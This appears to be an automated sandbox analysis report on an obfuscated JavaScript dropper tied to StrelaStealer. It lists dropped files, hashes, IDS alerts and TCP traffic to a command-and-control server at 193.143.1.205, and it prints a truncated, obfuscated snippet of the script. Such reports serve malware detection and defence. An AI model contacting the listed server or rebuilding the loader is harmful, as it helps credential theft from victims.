Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\19b60bc6-adef-454e-aef3-b12cac685ee1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7ffd131a-c7f0-49f0-abf3-89174fab8070.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18014), with CRLF line terminators
Entropy (8bit):	4.911287445746304
TrID:
File name:	19663169782459227955.js
File size:	21'481 bytes
MD5:	95b6c113705624486b422c55430a6908
SHA1:	70027a26d618290b2e99a6d5ebac835036e681be
SHA256:	04ff1bc1a71d84b6bb8a1225caacd5519d7a07429ce847fc3d80d24b190fc6c8
SHA512:	397cd604c5bc7e7942de0194be8e1aa43fc37a60d592407816aa4832eab153f8370d3d95b6514d81af40cfde93a828df50bb0b7d77cfbcca52658e0b147603ce
SSDEEP:	192:iDHEgxcPEdf5u3tj95Y8tj5c4vz9GDt9YSZdNW6WHgR6aPl6ClnXaHzEdn8PbJi5:+kLslaLd5imorpaooiVcRvacKK6D
TLSH:	7EA23281401E609FCFEAB3D236E704E607DB0A48DADA9FFE5C440B475ADA53415EDAB0
File Content Preview:	function uzildcptt(){pfrwkiwm=[1031,3079,5127,4103,2055,3072];var utajga=this[zbjqrvobe+glqrna+tgwbhqdx+rwmsvhabs+eopkddm+bqkuczg+zxmri+fqrlvi](this[ouitmvaig+ibznztbv+unorqc+tgwbhqdx+ecdabptp+zbjqrvobe+fqrlvi][djceufm+tgwbhqdx+eopkddm+glqrna+fqrlvi+eopkd

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:24:20.403913+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T05:24:20.403913+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49706	193.143.1.205	80	TCP
2025-01-11T05:24:23.196110+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:24:19.624320030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:19.629483938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:19.629565001 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:19.632416964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:19.637322903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.403819084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.403845072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.403861046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.403877020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.403913021 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.403917074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.403934956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.403965950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.403981924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.403995991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.404011965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.404027939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.404048920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.404078960 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.408853054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.446450949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.446472883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.446501970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.493006945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.524804115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.524841070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.524857998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.524904013 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.524919987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.524936914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.524962902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.525258064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.525275946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.525291920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.525306940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.525307894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.525363922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.525979042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.525996923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.526011944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.526026964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.526042938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.526042938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.526057005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.526104927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.526777029 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.526793003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.526808977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.526823997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.526839018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.526845932 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.526880980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.527594090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.527617931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.527837038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.577920914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.577940941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.577956915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.578248978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.612379074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.612407923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.612533092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.646090984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.646117926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.646142960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.646158934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.646174908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.646197081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.646222115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.646222115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.646414995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.646435976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.646467924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.646483898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.646501064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.646517038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.646528006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.646528006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.647118092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.647125006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.647162914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.647178888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.647193909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.647202015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.647233009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.647233009 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.647717953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.647739887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.647774935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.647790909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.647815943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.647831917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.647835970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.647835970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.647847891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.647887945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.647887945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.648639917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.648665905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.648682117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.648699045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.648718119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.648752928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.648757935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.648757935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.648767948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.649291992 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.649480104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.649497032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.649513006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.649557114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.649557114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.649621010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.649636984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.649655104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.649674892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.649704933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.649705887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.650389910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.658096075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.658119917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.658137083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.658179998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.658195972 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.665435076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.665457964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.665473938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.665548086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.665581942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.665586948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.665586948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.699959040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.699982882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.700009108 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.700023890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.700040102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.700047970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.700047970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.700079918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.733622074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.733643055 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.733706951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.767462015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.767520905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.767556906 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.767591000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.767644882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.767646074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.767644882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.767682076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.767718077 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.767751932 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.767855883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.767855883 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.767982960 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.768114090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.768148899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.768198967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.768233061 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.768286943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.768286943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.768501043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.768554926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.768590927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.768624067 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.768660069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.768660069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.768660069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.768693924 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.768728971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.768776894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.768776894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.769352913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.769490957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.769511938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.769524097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.769537926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.769548893 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.769563913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.769581079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.769581079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.769644022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.770203114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.770215988 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.770227909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.770281076 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.770281076 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.770283937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.770297050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.770318031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.770340919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.770401955 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.770401955 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.771074057 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.771087885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.771100044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.771176100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.771188974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.771199942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.771214008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.771222115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.771222115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.771290064 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.771982908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.772001982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.772016048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.772026062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.772037983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.772049904 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.772052050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.772052050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.772062063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.772094965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.772094965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:24:20.772825003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:24:20.772846937 CET	80	49706	193.143.1.205	192.168.2.8
